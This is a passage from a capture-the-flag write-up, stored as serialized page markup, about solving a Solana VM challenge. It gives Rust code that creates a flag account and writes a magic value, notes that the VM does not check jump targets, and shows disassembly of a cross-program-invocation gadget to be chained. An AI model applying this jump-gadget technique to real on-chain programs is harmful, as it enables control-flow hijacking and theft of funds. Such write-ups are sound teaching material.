system_program::ID,\n &SystemInstruction::CreateAccount {\n space: 0x1337,\n lamports: Rent::default().minimum_balance(0x1337),\n owner: chall::ID\n },\n vec![\n AccountMeta::new(*user_ai.key, true),\n AccountMeta::new(*flag_pda_ai.key, true),\n ],\n );\n invoke_signed_unchecked(\n &instruction,\n &[\n user_ai.clone(),\n flag_pda_ai.clone(),\n ],\n &[&[\"FLAG\".as_ref()]],\n )?;\n\n // Step 2: Write 0x4337 to the first 8 bytes of the account\n flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n Ok(())\n}\n",[47145],{"type":22,"tag":30,"props":47146,"children":47147},{"__ignoreMap":7},[47148,47168,47192,47220,47248,47268,47304,47340,47347,47355,47388,47405,47430,47451,47503,47528,47535,47548,47594,47638,47646,47653,47664,47680,47691,47711,47731,47738,47774,47789,47796,47804,47883,47890,47901],{"type":22,"tag":101,"props":47149,"children":47150},{"class":103,"line":104},[47151,47155,47159,47164],{"type":22,"tag":101,"props":47152,"children":47153},{"style":108},[47154],{"type":27,"value":17693},{"type":22,"tag":101,"props":47156,"children":47157},{"style":108},[47158],{"type":27,"value":17698},{"type":22,"tag":101,"props":47160,"children":47161},{"style":926},[47162],{"type":27,"value":47163}," process_instruction",{"type":22,"tag":101,"props":47165,"children":47166},{"style":120},[47167],{"type":27,"value":1850},{"type":22,"tag":101,"props":47169,"children":47170},{"class":103,"line":157},[47171,47176,47180,47184,47188],{"type":22,"tag":101,"props":47172,"children":47173},{"style":126},[47174],{"type":27,"value":47175}," program_id",{"type":22,"tag":101,"props":47177,"children":47178},{"style":166},[47179],{"type":27,"value":169},{"type":22,"tag":101,"props":47181,"children":47182},{"style":166},[47183],{"type":27,"value":870},{"type":22,"tag":101,"props":47185,"children":47186},{"style":114},[47187],{"type":27,"value":25385},{"type":22,"tag":101,"props":47189,"children":47190},{"style":120},[47191],{"type":27,"value":179},{"type":22,"tag":101,"props":47193,"children":47194},{"class":103,"line":182},[47195,47200,47204,47208,47212,47216],{"type":22,"tag":101,"props":47196,"children":47197},{"style":126},[47198],{"type":27,"value":47199}," accounts",{"type":22,"tag":101,"props":47201,"children":47202},{"style":166},[47203],{"type":27,"value":169},{"type":22,"tag":101,"props":47205,"children":47206},{"style":166},[47207],{"type":27,"value":870},{"type":22,"tag":101,"props":47209,"children":47210},{"style":120},[47211],{"type":27,"value":2414},{"type":22,"tag":101,"props":47213,"children":47214},{"style":114},[47215],{"type":27,"value":18940},{"type":22,"tag":101,"props":47217,"children":47218},{"style":120},[47219],{"type":27,"value":18265},{"type":22,"tag":101,"props":47221,"children":47222},{"class":103,"line":367},[47223,47228,47232,47236,47240,47244],{"type":22,"tag":101,"props":47224,"children":47225},{"style":126},[47226],{"type":27,"value":47227}," data",{"type":22,"tag":101,"props":47229,"children":47230},{"style":166},[47231],{"type":27,"value":169},{"type":22,"tag":101,"props":47233,"children":47234},{"style":166},[47235],{"type":27,"value":870},{"type":22,"tag":101,"props":47237,"children":47238},{"style":120},[47239],{"type":27,"value":2414},{"type":22,"tag":101,"props":47241,"children":47242},{"style":114},[47243],{"type":27,"value":7458},{"type":22,"tag":101,"props":47245,"children":47246},{"style":120},[47247],{"type":27,"value":1884},{"type":22,"tag":101,"props":47249,"children":47250},{"class":103,"line":398},[47251,47255,47259,47264],{"type":22,"tag":101,"props":47252,"children":47253},{"style":120},[47254],{"type":27,"value":901},{"type":22,"tag":101,"props":47256,"children":47257},{"style":166},[47258],{"type":27,"value":17759},{"type":22,"tag":101,"props":47260,"children":47261},{"style":114},[47262],{"type":27,"value":47263}," ProgramResult",{"type":22,"tag":101,"props":47265,"children":47266},{"style":120},[47267],{"type":27,"value":154},{"type":22,"tag":101,"props":47269,"children":47270},{"class":103,"line":428},[47271,47275,47280,47284,47288,47292,47296,47300],{"type":22,"tag":101,"props":47272,"children":47273},{"style":108},[47274],{"type":27,"value":950},{"type":22,"tag":101,"props":47276,"children":47277},{"style":126},[47278],{"type":27,"value":47279}," flag_pda_ai",{"type":22,"tag":101,"props":47281,"children":47282},{"style":166},[47283],{"type":27,"value":960},{"type":22,"tag":101,"props":47285,"children":47286},{"style":166},[47287],{"type":27,"value":870},{"type":22,"tag":101,"props":47289,"children":47290},{"style":126},[47291],{"type":27,"value":18677},{"type":22,"tag":101,"props":47293,"children":47294},{"style":120},[47295],{"type":27,"value":2414},{"type":22,"tag":101,"props":47297,"children":47298},{"style":1544},[47299],{"type":27,"value":8065},{"type":22,"tag":101,"props":47301,"children":47302},{"style":120},[47303],{"type":27,"value":35570},{"type":22,"tag":101,"props":47305,"children":47306},{"class":103,"line":997},[47307,47311,47316,47320,47324,47328,47332,47336],{"type":22,"tag":101,"props":47308,"children":47309},{"style":108},[47310],{"type":27,"value":950},{"type":22,"tag":101,"props":47312,"children":47313},{"style":126},[47314],{"type":27,"value":47315}," user_ai",{"type":22,"tag":101,"props":47317,"children":47318},{"style":166},[47319],{"type":27,"value":960},{"type":22,"tag":101,"props":47321,"children":47322},{"style":166},[47323],{"type":27,"value":870},{"type":22,"tag":101,"props":47325,"children":47326},{"style":126},[47327],{"type":27,"value":18677},{"type":22,"tag":101,"props":47329,"children":47330},{"style":120},[47331],{"type":27,"value":2414},{"type":22,"tag":101,"props":47333,"children":47334},{"style":1544},[47335],{"type":27,"value":6813},{"type":22,"tag":101,"props":47337,"children":47338},{"style":120},[47339],{"type":27,"value":35570},{"type":22,"tag":101,"props":47341,"children":47342},{"class":103,"line":1032},[47343],{"type":22,"tag":101,"props":47344,"children":47345},{"emptyLinePlaceholder":15},[47346],{"type":27,"value":1581},{"type":22,"tag":101,"props":47348,"children":47349},{"class":103,"line":1063},[47350],{"type":22,"tag":101,"props":47351,"children":47352},{"style":2215},[47353],{"type":27,"value":47354}," // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":22,"tag":101,"props":47356,"children":47357},{"class":103,"line":1071},[47358,47362,47367,47371,47375,47379,47384],{"type":22,"tag":101,"props":47359,"children":47360},{"style":108},[47361],{"type":27,"value":950},{"type":22,"tag":101,"props":47363,"children":47364},{"style":126},[47365],{"type":27,"value":47366}," instruction",{"type":22,"tag":101,"props":47368,"children":47369},{"style":166},[47370],{"type":27,"value":960},{"type":22,"tag":101,"props":47372,"children":47373},{"style":114},[47374],{"type":27,"value":45007},{"type":22,"tag":101,"props":47376,"children":47377},{"style":166},[47378],{"type":27,"value":970},{"type":22,"tag":101,"props":47380,"children":47381},{"style":926},[47382],{"type":27,"value":47383},"new_with_bincode",{"type":22,"tag":101,"props":47385,"children":47386},{"style":120},[47387],{"type":27,"value":1850},{"type":22,"tag":101,"props":47389,"children":47390},{"class":103,"line":1110},[47391,47396,47400],{"type":22,"tag":101,"props":47392,"children":47393},{"style":120},[47394],{"type":27,"value":47395}," system_program",{"type":22,"tag":101,"props":47397,"children":47398},{"style":166},[47399],{"type":27,"value":970},{"type":22,"tag":101,"props":47401,"children":47402},{"style":120},[47403],{"type":27,"value":47404},"ID,\n",{"type":22,"tag":101,"props":47406,"children":47407},{"class":103,"line":1118},[47408,47412,47417,47421,47426],{"type":22,"tag":101,"props":47409,"children":47410},{"style":166},[47411],{"type":27,"value":7507},{"type":22,"tag":101,"props":47413,"children":47414},{"style":120},[47415],{"type":27,"value":47416},"SystemInstruction",{"type":22,"tag":101,"props":47418,"children":47419},{"style":166},[47420],{"type":27,"value":970},{"type":22,"tag":101,"props":47422,"children":47423},{"style":114},[47424],{"type":27,"value":47425},"CreateAccount",{"type":22,"tag":101,"props":47427,"children":47428},{"style":120},[47429],{"type":27,"value":154},{"type":22,"tag":101,"props":47431,"children":47432},{"class":103,"line":1158},[47433,47438,47442,47447],{"type":22,"tag":101,"props":47434,"children":47435},{"style":126},[47436],{"type":27,"value":47437}," space",{"type":22,"tag":101,"props":47439,"children":47440},{"style":166},[47441],{"type":27,"value":169},{"type":22,"tag":101,"props":47443,"children":47444},{"style":1544},[47445],{"type":27,"value":47446}," 0x1337",{"type":22,"tag":101,"props":47448,"children":47449},{"style":120},[47450],{"type":27,"value":179},{"type":22,"tag":101,"props":47452,"children":47453},{"class":103,"line":1166},[47454,47459,47463,47468,47472,47477,47481,47485,47490,47494,47499],{"type":22,"tag":101,"props":47455,"children":47456},{"style":126},[47457],{"type":27,"value":47458}," lamports",{"type":22,"tag":101,"props":47460,"children":47461},{"style":166},[47462],{"type":27,"value":169},{"type":22,"tag":101,"props":47464,"children":47465},{"style":120},[47466],{"type":27,"value":47467}," Rent",{"type":22,"tag":101,"props":47469,"children":47470},{"style":166},[47471],{"type":27,"value":970},{"type":22,"tag":101,"props":47473,"children":47474},{"style":926},[47475],{"type":27,"value":47476},"default",{"type":22,"tag":101,"props":47478,"children":47479},{"style":120},[47480],{"type":27,"value":17881},{"type":22,"tag":101,"props":47482,"children":47483},{"style":166},[47484],{"type":27,"value":231},{"type":22,"tag":101,"props":47486,"children":47487},{"style":926},[47488],{"type":27,"value":47489},"minimum_balance",{"type":22,"tag":101,"props":47491,"children":47492},{"style":120},[47493],{"type":27,"value":980},{"type":22,"tag":101,"props":47495,"children":47496},{"style":1544},[47497],{"type":27,"value":47498},"0x1337",{"type":22,"tag":101,"props":47500,"children":47501},{"style":120},[47502],{"type":27,"value":1706},{"type":22,"tag":101,"props":47504,"children":47505},{"class":103,"line":1215},[47506,47511,47515,47519,47523],{"type":22,"tag":101,"props":47507,"children":47508},{"style":126},[47509],{"type":27,"value":47510}," owner",{"type":22,"tag":101,"props":47512,"children":47513},{"style":166},[47514],{"type":27,"value":169},{"type":22,"tag":101,"props":47516,"children":47517},{"style":120},[47518],{"type":27,"value":46038},{"type":22,"tag":101,"props":47520,"children":47521},{"style":166},[47522],{"type":27,"value":970},{"type":22,"tag":101,"props":47524,"children":47525},{"style":120},[47526],{"type":27,"value":47527},"ID\n",{"type":22,"tag":101,"props":47529,"children":47530},{"class":103,"line":2425},[47531],{"type":22,"tag":101,"props":47532,"children":47533},{"style":120},[47534],{"type":27,"value":29371},{"type":22,"tag":101,"props":47536,"children":47537},{"class":103,"line":5417},[47538,47543],{"type":22,"tag":101,"props":47539,"children":47540},{"style":926},[47541],{"type":27,"value":47542}," vec!",{"type":22,"tag":101,"props":47544,"children":47545},{"style":120},[47546],{"type":27,"value":47547},"[\n",{"type":22,"tag":101,"props":47549,"children":47550},{"class":103,"line":7714},[47551,47556,47560,47564,47568,47572,47577,47581,47586,47590],{"type":22,"tag":101,"props":47552,"children":47553},{"style":120},[47554],{"type":27,"value":47555}," AccountMeta",{"type":22,"tag":101,"props":47557,"children":47558},{"style":166},[47559],{"type":27,"value":970},{"type":22,"tag":101,"props":47561,"children":47562},{"style":926},[47563],{"type":27,"value":19124},{"type":22,"tag":101,"props":47565,"children":47566},{"style":120},[47567],{"type":27,"value":980},{"type":22,"tag":101,"props":47569,"children":47570},{"style":166},[47571],{"type":27,"value":8615},{"type":22,"tag":101,"props":47573,"children":47574},{"style":126},[47575],{"type":27,"value":47576},"user_ai",{"type":22,"tag":101,"props":47578,"children":47579},{"style":166},[47580],{"type":27,"value":231},{"type":22,"tag":101,"props":47582,"children":47583},{"style":120},[47584],{"type":27,"value":47585},"key, ",{"type":22,"tag":101,"props":47587,"children":47588},{"style":108},[47589],{"type":27,"value":5608},{"type":22,"tag":101,"props":47591,"children":47592},{"style":120},[47593],{"type":27,"value":1706},{"type":22,"tag":101,"props":47595,"children":47596},{"class":103,"line":7723},[47597,47601,47605,47609,47613,47617,47622,47626,47630,47634],{"type":22,"tag":101,"props":47598,"children":47599},{"style":120},[47600],{"type":27,"value":47555},{"type":22,"tag":101,"props":47602,"children":47603},{"style":166},[47604],{"type":27,"value":970},{"type":22,"tag":101,"props":47606,"children":47607},{"style":926},[47608],{"type":27,"value":19124},{"type":22,"tag":101,"props":47610,"children":47611},{"style":120},[47612],{"type":27,"value":980},{"type":22,"tag":101,"props":47614,"children":47615},{"style":166},[47616],{"type":27,"value":8615},{"type":22,"tag":101,"props":47618,"children":47619},{"style":126},[47620],{"type":27,"value":47621},"flag_pda_ai",{"type":22,"tag":101,"props":47623,"children":47624},{"style":166},[47625],{"type":27,"value":231},{"type":22,"tag":101,"props":47627,"children":47628},{"style":120},[47629],{"type":27,"value":47585},{"type":22,"tag":101,"props":47631,"children":47632},{"style":108},[47633],{"type":27,"value":5608},{"type":22,"tag":101,"props":47635,"children":47636},{"style":120},[47637],{"type":27,"value":1706},{"type":22,"tag":101,"props":47639,"children":47640},{"class":103,"line":7791},[47641],{"type":22,"tag":101,"props":47642,"children":47643},{"style":120},[47644],{"type":27,"value":47645}," ],\n",{"type":22,"tag":101,"props":47647,"children":47648},{"class":103,"line":7799},[47649],{"type":22,"tag":101,"props":47650,"children":47651},{"style":120},[47652],{"type":27,"value":2406},{"type":22,"tag":101,"props":47654,"children":47655},{"class":103,"line":7829},[47656,47660],{"type":22,"tag":101,"props":47657,"children":47658},{"style":926},[47659],{"type":27,"value":45124},{"type":22,"tag":101,"props":47661,"children":47662},{"style":120},[47663],{"type":27,"value":1850},{"type":22,"tag":101,"props":47665,"children":47666},{"class":103,"line":7837},[47667,47671,47676],{"type":22,"tag":101,"props":47668,"children":47669},{"style":166},[47670],{"type":27,"value":7507},{"type":22,"tag":101,"props":47672,"children":47673},{"style":126},[47674],{"type":27,"value":47675},"instruction",{"type":22,"tag":101,"props":47677,"children":47678},{"style":120},[47679],{"type":27,"value":179},{"type":22,"tag":101,"props":47681,"children":47682},{"class":103,"line":7868},[47683,47687],{"type":22,"tag":101,"props":47684,"children":47685},{"style":166},[47686],{"type":27,"value":7507},{"type":22,"tag":101,"props":47688,"children":47689},{"style":120},[47690],{"type":27,"value":47547},{"type":22,"tag":101,"props":47692,"children":47693},{"class":103,"line":7876},[47694,47699,47703,47707],{"type":22,"tag":101,"props":47695,"children":47696},{"style":126},[47697],{"type":27,"value":47698}," user_ai",{"type":22,"tag":101,"props":47700,"children":47701},{"style":166},[47702],{"type":27,"value":231},{"type":22,"tag":101,"props":47704,"children":47705},{"style":926},[47706],{"type":27,"value":19421},{"type":22,"tag":101,"props":47708,"children":47709},{"style":120},[47710],{"type":27,"value":7526},{"type":22,"tag":101,"props":47712,"children":47713},{"class":103,"line":7936},[47714,47719,47723,47727],{"type":22,"tag":101,"props":47715,"children":47716},{"style":126},[47717],{"type":27,"value":47718}," flag_pda_ai",{"type":22,"tag":101,"props":47720,"children":47721},{"style":166},[47722],{"type":27,"value":231},{"type":22,"tag":101,"props":47724,"children":47725},{"style":926},[47726],{"type":27,"value":19421},{"type":22,"tag":101,"props":47728,"children":47729},{"style":120},[47730],{"type":27,"value":7526},{"type":22,"tag":101,"props":47732,"children":47733},{"class":103,"line":13054},[47734],{"type":22,"tag":101,"props":47735,"children":47736},{"style":120},[47737],{"type":27,"value":47645},{"type":22,"tag":101,"props":47739,"children":47740},{"class":103,"line":13072},[47741,47745,47749,47753,47757,47761,47765,47769],{"type":22,"tag":101,"props":47742,"children":47743},{"style":166},[47744],{"type":27,"value":7507},{"type":22,"tag":101,"props":47746,"children":47747},{"style":120},[47748],{"type":27,"value":2414},{"type":22,"tag":101,"props":47750,"children":47751},{"style":166},[47752],{"type":27,"value":985},{"type":22,"tag":101,"props":47754,"children":47755},{"style":120},[47756],{"type":27,"value":2414},{"type":22,"tag":101,"props":47758,"children":47759},{"style":6476},[47760],{"type":27,"value":46618},{"type":22,"tag":101,"props":47762,"children":47763},{"style":166},[47764],{"type":27,"value":231},{"type":22,"tag":101,"props":47766,"children":47767},{"style":926},[47768],{"type":27,"value":46627},{"type":22,"tag":101,"props":47770,"children":47771},{"style":120},[47772],{"type":27,"value":47773},"()]],\n",{"type":22,"tag":101,"props":47775,"children":47776},{"class":103,"line":13117},[47777,47781,47785],{"type":22,"tag":101,"props":47778,"children":47779},{"style":120},[47780],{"type":27,"value":7691},{"type":22,"tag":101,"props":47782,"children":47783},{"style":166},[47784],{"type":27,"value":5455},{"type":22,"tag":101,"props":47786,"children":47787},{"style":120},[47788],{"type":27,"value":1520},{"type":22,"tag":101,"props":47790,"children":47791},{"class":103,"line":13223},[47792],{"type":22,"tag":101,"props":47793,"children":47794},{"emptyLinePlaceholder":15},[47795],{"type":27,"value":1581},{"type":22,"tag":101,"props":47797,"children":47798},{"class":103,"line":27496},[47799],{"type":22,"tag":101,"props":47800,"children":47801},{"style":2215},[47802],{"type":27,"value":47803}," // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":22,"tag":101,"props":47805,"children":47806},{"class":103,"line":27531},[47807,47812,47816,47820,47824,47828,47832,47836,47840,47844,47848,47853,47857,47861,47866,47870,47874,47879],{"type":22,"tag":101,"props":47808,"children":47809},{"style":126},[47810],{"type":27,"value":47811}," flag_pda_ai",{"type":22,"tag":101,"props":47813,"children":47814},{"style":166},[47815],{"type":27,"value":231},{"type":22,"tag":101,"props":47817,"children":47818},{"style":926},[47819],{"type":27,"value":17876},{"type":22,"tag":101,"props":47821,"children":47822},{"style":120},[47823],{"type":27,"value":17881},{"type":22,"tag":101,"props":47825,"children":47826},{"style":166},[47827],{"type":27,"value":5455},{"type":22,"tag":101,"props":47829,"children":47830},{"style":120},[47831],{"type":27,"value":2414},{"type":22,"tag":101,"props":47833,"children":47834},{"style":166},[47835],{"type":27,"value":7096},{"type":22,"tag":101,"props":47837,"children":47838},{"style":1544},[47839],{"type":27,"value":8119},{"type":22,"tag":101,"props":47841,"children":47842},{"style":120},[47843],{"type":27,"value":19412},{"type":22,"tag":101,"props":47845,"children":47846},{"style":166},[47847],{"type":27,"value":231},{"type":22,"tag":101,"props":47849,"children":47850},{"style":926},[47851],{"type":27,"value":47852},"copy_from_slice",{"type":22,"tag":101,"props":47854,"children":47855},{"style":120},[47856],{"type":27,"value":980},{"type":22,"tag":101,"props":47858,"children":47859},{"style":166},[47860],{"type":27,"value":985},{"type":22,"tag":101,"props":47862,"children":47863},{"style":1544},[47864],{"type":27,"value":47865},"0x4337",{"type":22,"tag":101,"props":47867,"children":47868},{"style":114},[47869],{"type":27,"value":12052},{"type":22,"tag":101,"props":47871,"children":47872},{"style":166},[47873],{"type":27,"value":231},{"type":22,"tag":101,"props":47875,"children":47876},{"style":926},[47877],{"type":27,"value":47878},"to_le_bytes",{"type":22,"tag":101,"props":47880,"children":47881},{"style":120},[47882],{"type":27,"value":1980},{"type":22,"tag":101,"props":47884,"children":47885},{"class":103,"line":27539},[47886],{"type":22,"tag":101,"props":47887,"children":47888},{"emptyLinePlaceholder":15},[47889],{"type":27,"value":1581},{"type":22,"tag":101,"props":47891,"children":47892},{"class":103,"line":27547},[47893,47897],{"type":22,"tag":101,"props":47894,"children":47895},{"style":114},[47896],{"type":27,"value":18335},{"type":22,"tag":101,"props":47898,"children":47899},{"style":120},[47900],{"type":27,"value":18340},{"type":22,"tag":101,"props":47902,"children":47903},{"class":103,"line":27556},[47904],{"type":22,"tag":101,"props":47905,"children":47906},{"style":120},[47907],{"type":27,"value":188},{"type":22,"tag":23,"props":47909,"children":47910},{},[47911],{"type":27,"value":47912},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":22,"tag":23,"props":47914,"children":47915},{},[47916],{"type":22,"tag":7959,"props":47917,"children":47920},{"alt":47918,"src":47919},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":22,"tag":23,"props":47922,"children":47923},{},[47924],{"type":27,"value":47925},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":22,"tag":53,"props":47927,"children":47929},{"id":47928},"solution-implementation",[47930],{"type":27,"value":47931},"Solution Implementation",{"type":22,"tag":23,"props":47933,"children":47934},{},[47935,47937,47942],{"type":27,"value":47936},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":22,"tag":30,"props":47938,"children":47940},{"className":47939},[],[47941],{"type":27,"value":39678},{"type":27,"value":47943}," invocations:",{"type":22,"tag":91,"props":47945,"children":47949},{"className":47946,"code":47947,"language":47948,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: gadget1]\n C --> E[3: process]\n E --> F[4: gadget2]\n E --> G[...]\n","mermaid",[47950],{"type":22,"tag":30,"props":47951,"children":47952},{"__ignoreMap":7},[47953,47961,47969,47977,47985,47993,48001],{"type":22,"tag":101,"props":47954,"children":47955},{"class":103,"line":104},[47956],{"type":22,"tag":101,"props":47957,"children":47958},{},[47959],{"type":27,"value":47960},"graph LR\n",{"type":22,"tag":101,"props":47962,"children":47963},{"class":103,"line":157},[47964],{"type":22,"tag":101,"props":47965,"children":47966},{},[47967],{"type":27,"value":47968}," A[0: entrypoint] --> B[1: process_instruction]\n",{"type":22,"tag":101,"props":47970,"children":47971},{"class":103,"line":182},[47972],{"type":22,"tag":101,"props":47973,"children":47974},{},[47975],{"type":27,"value":47976}," B --> C[2: process]\n",{"type":22,"tag":101,"props":47978,"children":47979},{"class":103,"line":367},[47980],{"type":22,"tag":101,"props":47981,"children":47982},{},[47983],{"type":27,"value":47984}," C --> D[3: gadget1]\n",{"type":22,"tag":101,"props":47986,"children":47987},{"class":103,"line":398},[47988],{"type":22,"tag":101,"props":47989,"children":47990},{},[47991],{"type":27,"value":47992}," C --> E[3: process]\n",{"type":22,"tag":101,"props":47994,"children":47995},{"class":103,"line":428},[47996],{"type":22,"tag":101,"props":47997,"children":47998},{},[47999],{"type":27,"value":48000}," E --> F[4: gadget2]\n",{"type":22,"tag":101,"props":48002,"children":48003},{"class":103,"line":997},[48004],{"type":22,"tag":101,"props":48005,"children":48006},{},[48007],{"type":27,"value":48008}," E --> G[...]\n",{"type":22,"tag":23,"props":48010,"children":48011},{},[48012],{"type":27,"value":48013},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":22,"tag":23,"props":48015,"children":48016},{},[48017,48019,48025],{"type":27,"value":48018},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":22,"tag":80,"props":48020,"children":48022},{"href":44482,"rel":48021},[84],[48023],{"type":27,"value":48024},"Binary Ninja",{"type":27,"value":48026}," to find a suitable gadget for this.",{"type":22,"tag":23,"props":48028,"children":48029},{},[48030,48032,48039],{"type":27,"value":48031},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":22,"tag":80,"props":48033,"children":48036},{"href":48034,"rel":48035},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[84],[48037],{"type":27,"value":48038},"skip the strip pass",{"type":27,"value":231},{"type":22,"tag":1760,"props":48041,"children":48043},{"id":48042},"cpi-gadget",[48044],{"type":27,"value":48045},"CPI Gadget",{"type":22,"tag":23,"props":48047,"children":48048},{},[48049,48051,48056,48058,48065,48067,48073],{"type":27,"value":48050},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":22,"tag":30,"props":48052,"children":48054},{"className":48053},[],[48055],{"type":27,"value":42292},{"type":27,"value":48057}," function. This function calls into the solana sdk's function ",{"type":22,"tag":80,"props":48059,"children":48062},{"href":48060,"rel":48061},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[84],[48063],{"type":27,"value":48064},"invoke_signed_unchecked",{"type":27,"value":48066},", yielding a powerful gadget at the address ",{"type":22,"tag":30,"props":48068,"children":48070},{"className":48069},[],[48071],{"type":27,"value":48072},"0x100001ba8",{"type":27,"value":231},{"type":22,"tag":91,"props":48075,"children":48077},{"className":93,"code":48076,"language":95,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8 79a278ff00000000 ldxdw r2, [r10-136] {var_88}\n100001bb0 79a380ff00000000 ldxdw r3, [r10-128] {var_80}\n100001bb8 79a468ff00000000 ldxdw r4, [r10-152] {var_98}\n100001bc0 79a570ff00000000 ldxdw r5, [r10-144] {var_90}\n100001bc8 8520000020100000 call sol_invoke_signed_rust\n100001bd0 5500040000000000 jne \u003C+4> r0, 0x0\n\n100001bd8 b701000018000000 mov r1, 0x18\n100001be0 79a288ff00000000 ldxdw r2, [r10-120] {var_78}\n100001be8 6312000000000000 stxw [r2-0], r1 {0x18}\n100001bf0 0500030000000000 ja \u003C+3>\n\n100001bf8 79a188ff00000000 ldxdw r1, [r10-120] {var_78}\n100001c00 bf02000000000000 mov r2, r0\n100001c08 8510000075000000 call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10 79a2b8ff00000000 ldxdw r2, [r10-72] {var_48}\n100001c18 1502040000000000 jeq \u003C+4> r2, 0x0\n\n100001c20 2702000022000000 mul r2, 0x22\n100001c28 79a1b0ff00000000 ldxdw r1, [r10-80] {var_50}\n100001c30 b703000001000000 mov r3, 0x1\n100001c38 8510000003feffff call __rust_dealloc\n\n100001c40 79a2d0ff00000000 ldxdw r2, [r10-48] {var_30}\n100001c48 1502030000000000 jeq \u003C+3> r2, 0x0\n\n100001c50 79a1c8ff00000000 ldxdw r1, [r10-56] {var_38}\n100001c58 b703000001000000 mov r3, 0x1\n100001c60 85100000fefdffff call __rust_dealloc\n\n100001c68 9500000000000000 exit {__return_addr}\n",[48078],{"type":22,"tag":30,"props":48079,"children":48080},{"__ignoreMap":7},[48081,48106,48161,48212,48264,48316,48339,48387,48394,48426,48477,48535,48569,48576,48625,48655,48730,48737,48788,48834,48841,48872,48923,48953,48975,48982,49033,49078,49085,49136,49164,49185,49192],{"type":22,"tag":101,"props":48082,"children":48083},{"class":103,"line":104},[48084,48088,48092,48097,48101],{"type":22,"tag":101,"props":48085,"children":48086},{"style":120},[48087],{"type":27,"value":17656},{"type":22,"tag":101,"props":48089,"children":48090},{"style":166},[48091],{"type":27,"value":970},{"type":22,"tag":101,"props":48093,"children":48094},{"style":120},[48095],{"type":27,"value":48096},"program",{"type":22,"tag":101,"props":48098,"children":48099},{"style":166},[48100],{"type":27,"value":970},{"type":22,"tag":101,"props":48102,"children":48103},{"style":126},[48104],{"type":27,"value":48105},"invoke_signed_unchecked\n",{"type":22,"tag":101,"props":48107,"children":48108},{"class":103,"line":157},[48109,48114,48119,48124,48129,48133,48138,48142,48147,48152,48157],{"type":22,"tag":101,"props":48110,"children":48111},{"style":126},[48112],{"type":27,"value":48113},"100001ba8",{"type":22,"tag":101,"props":48115,"children":48116},{"style":126},[48117],{"type":27,"value":48118}," 79a278ff00000000",{"type":22,"tag":101,"props":48120,"children":48121},{"style":126},[48122],{"type":27,"value":48123}," ldxdw",{"type":22,"tag":101,"props":48125,"children":48126},{"style":126},[48127],{"type":27,"value":48128}," r2",{"type":22,"tag":101,"props":48130,"children":48131},{"style":120},[48132],{"type":27,"value":1875},{"type":22,"tag":101,"props":48134,"children":48135},{"style":126},[48136],{"type":27,"value":48137},"r10",{"type":22,"tag":101,"props":48139,"children":48140},{"style":166},[48141],{"type":27,"value":8372},{"type":22,"tag":101,"props":48143,"children":48144},{"style":1544},[48145],{"type":27,"value":48146},"136",{"type":22,"tag":101,"props":48148,"children":48149},{"style":120},[48150],{"type":27,"value":48151},"] {",{"type":22,"tag":101,"props":48153,"children":48154},{"style":126},[48155],{"type":27,"value":48156},"var_88",{"type":22,"tag":101,"props":48158,"children":48159},{"style":120},[48160],{"type":27,"value":188},{"type":22,"tag":101,"props":48162,"children":48163},{"class":103,"line":182},[48164,48169,48174,48178,48183,48187,48191,48195,48199,48203,48208],{"type":22,"tag":101,"props":48165,"children":48166},{"style":126},[48167],{"type":27,"value":48168},"100001bb0",{"type":22,"tag":101,"props":48170,"children":48171},{"style":126},[48172],{"type":27,"value":48173}," 79a380ff00000000",{"type":22,"tag":101,"props":48175,"children":48176},{"style":126},[48177],{"type":27,"value":48123},{"type":22,"tag":101,"props":48179,"children":48180},{"style":126},[48181],{"type":27,"value":48182}," r3",{"type":22,"tag":101,"props":48184,"children":48185},{"style":120},[48186],{"type":27,"value":1875},{"type":22,"tag":101,"props":48188,"children":48189},{"style":126},[48190],{"type":27,"value":48137},{"type":22,"tag":101,"props":48192,"children":48193},{"style":166},[48194],{"type":27,"value":8372},{"type":22,"tag":101,"props":48196,"children":48197},{"style":1544},[48198],{"type":27,"value":33844},{"type":22,"tag":101,"props":48200,"children":48201},{"style":120},[48202],{"type":27,"value":48151},{"type":22,"tag":101,"props":48204,"children":48205},{"style":126},[48206],{"type":27,"value":48207},"var_80",{"type":22,"tag":101,"props":48209,"children":48210},{"style":120},[48211],{"type":27,"value":188},{"type":22,"tag":101,"props":48213,"children":48214},{"class":103,"line":367},[48215,48220,48225,48229,48234,48238,48242,48246,48251,48255,48260],{"type":22,"tag":101,"props":48216,"children":48217},{"style":126},[48218],{"type":27,"value":48219},"100001bb8",{"type":22,"tag":101,"props":48221,"children":48222},{"style":126},[48223],{"type":27,"value":48224}," 79a468ff00000000",{"type":22,"tag":101,"props":48226,"children":48227},{"style":126},[48228],{"type":27,"value":48123},{"type":22,"tag":101,"props":48230,"children":48231},{"style":126},[48232],{"type":27,"value":48233}," 